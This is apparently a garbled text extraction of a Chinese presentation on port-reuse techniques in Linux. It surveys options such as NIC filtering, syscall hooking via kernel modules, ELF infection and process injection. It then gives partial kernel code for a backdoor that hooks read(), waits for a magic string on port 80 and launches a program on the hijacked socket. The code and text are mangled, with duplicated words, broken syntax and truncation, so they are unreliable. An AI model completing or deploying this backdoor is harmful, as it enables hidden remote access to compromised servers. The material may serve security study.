对linux系统下端口复用技术一些理解和认识.ppt

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1、对linux系统下端口复用技术一些理解和认识 Still waters run deep.流静水深流静水深,人静心深人静心深 Where there is life,there is hope。有生命必有希望。有生命必有希望1涉及到的内容涉及到的内容本文涉及到的内容有：内存管理、系统调用、进程调度、文件系统、socket内核结构、协议栈的内核实现、ELF文件结构、ELF文件装载过程。中国安天实验室中国安天实验室2.设计方案设计方案1）过滤驱动过滤驱动对linux系统的网卡驱动进行过滤，这种技术设计到可安装内核模块技术、网卡驱动原理和中断技术等，实现起来较为复杂，而且对内核版本要求较高，如果长期

2、运行，还可能造成系统内核的不稳定。同时还设计到拆包、组包过程，如果要对大文件进行传输或要保证客户服务器双方的可靠通信，要付出很大代价。中国安天实验室中国安天实验室2.设计方案设计方案2）过滤协议栈过滤协议栈可以对TCP/IP协议栈进行过滤，而且linux系统也提供内核钩子，支持对内核的过滤。这样实现难度较小，造成系统不稳定的可能性比方案1要小的多。中国安天实验室中国安天实验室2.设计方案设计方案3）过滤系统调用过滤系统调用这种方法是典型的LKMs后门程序的实现原理，对用于网络通信的系统调用进行过滤。这种方法不用深入协议栈，实现起来简洁有这种方法不用深入协议栈，实现起来简洁有效，后面有详细介绍。

3、效，后面有详细介绍。中国安天实验室中国安天实验室2.设计方案设计方案4）修改修改sock结构结构先在用户空间任意创建一个处于连接状态的socket对，然后修改内核的sock结构，如：socksock.daddr，sock.dport，sock.sport等。这样，就相当于和远端主机建立了一个正常的TCP或UDP连接。这种方法不用我们自己构造sock结构，只需修改已有的sock结构，减少了工作量。中国安天实验室中国安天实验室2.设计方案设计方案5）UNIX编程中的其他技术编程中的其他技术在用户空间调用访问协议栈的函数，如BPF、SOCK_PACKET类型的套节口、libcap抓包库、DLPI等，

4、这样在应用层就可以实现对协议栈的过滤。这样技术不用深入内核，稳定性好。中国安天实验室中国安天实验室2.设计方案设计方案6）感染）感染ELF静态文件静态文件这种技术是的基本原理是在原来的ELF文件中插入自己的二进制代码，当检测到特征字符串以后，就复制套接口结构，并关闭原有的套接口，从而达到端口复用的目的。这是在应用层进行实现的，相对来说比较稳定。缺点是采用了病毒技术，利用linux自带的一些工具（如objdump）可以发现 中国安天实验室中国安天实验室2.设计方案设计方案7）运行期间感染技术运行期间感染技术这种方法需要深入到已经运行服务程序的进程空间内部，如采用运行期间共享库注射技术，通过共享其

5、file结构，增加引用记数，来共享其dentry,inode,sock,socket等结构。这种方法是在应用层设计的，对内核版本要求不高，不过如果对80等非超级用户运行的进程所开的端口进行复用时，所获得的权限也是普通用户权限，不能满足普遍需求。同时也很难实现对任意端口进行复用。中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍1.基础知识介绍基础知识介绍(1)首先对首先对kernle_thread()进行分析。进行分析。int kernel_thread(int(*fn)(void*),void*arg,unsigned long f

6、lags)long retval,d0;_asm_ _volatile_(movl%esp,%esintint$0 x80ntcmpl%esp,%esintje 1fntmovl%4,%eaxnt中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍pushl%eaxntcall*%5ntmovl%3,%0ntint$0 x80n1:t:=&a(retval),=&S(d0):0(_NR_clone),i(_NR_exit),r(arg),r(fn),b(flags|CLONE_VM):memory);return retval;中国安天

7、实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍(2)对对execve()系统调用进行分析系统调用进行分析。由于其源码较长，这里只描述其执行过程，如下：拷贝用户空间的数据到内核,相应的函数是getname()。调用函数do_execve()，这是系统调用execve()的主体函数。中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍下面对函数do_execve()进行分析：a）调用open_exec()返回一个file结构。b）内核为可执行程序的装入定义一个数据结构struct li

8、nux_binprm。c）将文件的前128字节读到linux_binprm的buf中。d）参数和环境变量从用户空间拷贝到linux_binprm结构中。e）装载运行；过程是用formates队列中的每个成员尝试运行这个文件。中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍(3)对对ELF文件的装载函数进行分析。文件的装载函数进行分析。ELF文件在文件在formates队列中相应的装载函数是：队列中相应的装载函数是：load_elf_binary(struct linux_binprm*bprm,struct pt_regs*regs

9、)；在该函数中，对从父进程保留过来的一些数据结构进行在该函数中，对从父进程保留过来的一些数据结构进行了处理，如：了处理，如：mm_struct结构、结构、files_struct结构、结构、fs_struct结构、结构、k_sigaction结构等，其中我们关心的是对结构等，其中我们关心的是对files_struct结构结构的处理，相应的处理函数是：的处理，相应的处理函数是：static inline void flush_old_files(struct files_struct*files)中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基

10、础知识介绍static inline void flush_old_files(struct files_struct*files)long j=-1;write_lock(&files-file_lock);for(;)unsigned long set,i;j+;i=j*_NFDBITS;if(i=files-max_fds|i=files-max_fdset)break;中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍set=files-close_on_exec-fds_bitsj;if(!set)continue;file

11、s-close_on_exec-fds_bitsj=0;write_unlock(&files-file_lock);for(;set;i+,set=1)if(set&1)sys_close(i);write_lock(&files-file_lock);write_unlock(&files-file_lock);中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍其参数files的类型files_struct定义在include/linux/sched.h中：struct files_struct atomic_t count;rw

12、lock_t file_lock;int max_fds;int max_fdset;int next_fd;struct file*fd;fd_set*close_on_exec;fd_set*open_fds;fd_set close_on_exec_init;fd_set open_fds_init;struct file*fd_arrayNR_OPEN_DEFAULT;中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用基础知识介绍基础知识介绍结构fd_set定义在include/linux/type.h中：typedef _kernel_fd_set

13、fd_set;结构kernel_fd_set定义在include/linux/posix_types.h中：#undef _NFDBITS#define _NFDBITS(8*sizeof(unsigned long)#undef _FD_SETSIZE#define _FD_SETSIZE 1024#undef _FDSET_LONGS#define _FDSET_LONGS(_FD_SETSIZE/_NFDBITS)typedef struct unsigned long fds_bits _FDSET_LONGS;_kernel_fd_set;中国安天实验室中国安天实验室3通过过滤系统调

14、用实现端口复用通过过滤系统调用实现端口复用程序实现程序实现 2.程序实现程序实现:我们以对端口80的TCP连接进行复用为例，对程序进行说明。(1)深入内核，截获系统调用深入内核，截获系统调用read(int fd,void*buf,size_t count)。(2)如果发现特征字符串（如如果发现特征字符串（如”abcdefg”）就在内核启动）就在内核启动我们的函数。我们的函数。中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用程序实现程序实现ret=old_read(fd,buf,count);bzero(kbuf,MAX_BUF);_generic_cop

15、y_from_user(kbuf,buf,ret);if(memcmp(kbuf,passwd,strlen(passwd)=0)file=fget(fd);if(file-f_dentry-inode-sk.sport=PORT)kernel_thread(exe_func,fd,flags);fput(file);中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用程序实现程序实现如前所述，kernel_thread()实际是调用clone，这样，如果调用参数flags为0，则表示要复制（而不是指针共享）其内核结构，这些内核结构包括：mm_struct结构

16、、files_struct结构、fs_struct结构、k_sigaction结构。当然我们最关心的是files_struct结构，其相应的标志位是CLONE_FILES。由于我们在要改变fs_struct结构中的两个位图：close_on_exec和open_fds，为了不影响父进程的正常运行，需要把该位设置为0。中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用程序实现程序实现(3)我们的内核函数我们的内核函数exe_func（）如下（）如下:#define MAX_ARG32static int exe_func(int fd)char argMAX_

17、ARG;bzero(arg,MAX_ARG);my_itoa(fd,arg);clr_fd(fd);set_fs(KERNEL_DS);ret=execve(my_program,arg,0);if(ret open_fds);FD_CLR(fd,file-close_on_exec);fput(file);return;中国安天实验室中国安天实验室3通过过滤系统调用实现端口复用通过过滤系统调用实现端口复用程序实现程序实现(5)我们的用户空间程序如下：我们的用户空间程序如下：/*my_program*/include int main(int argc,char*argv)int fd=atoi(argv1);中国安天实验室中国安天实验室谢谢中国安天实验室中国安天实验室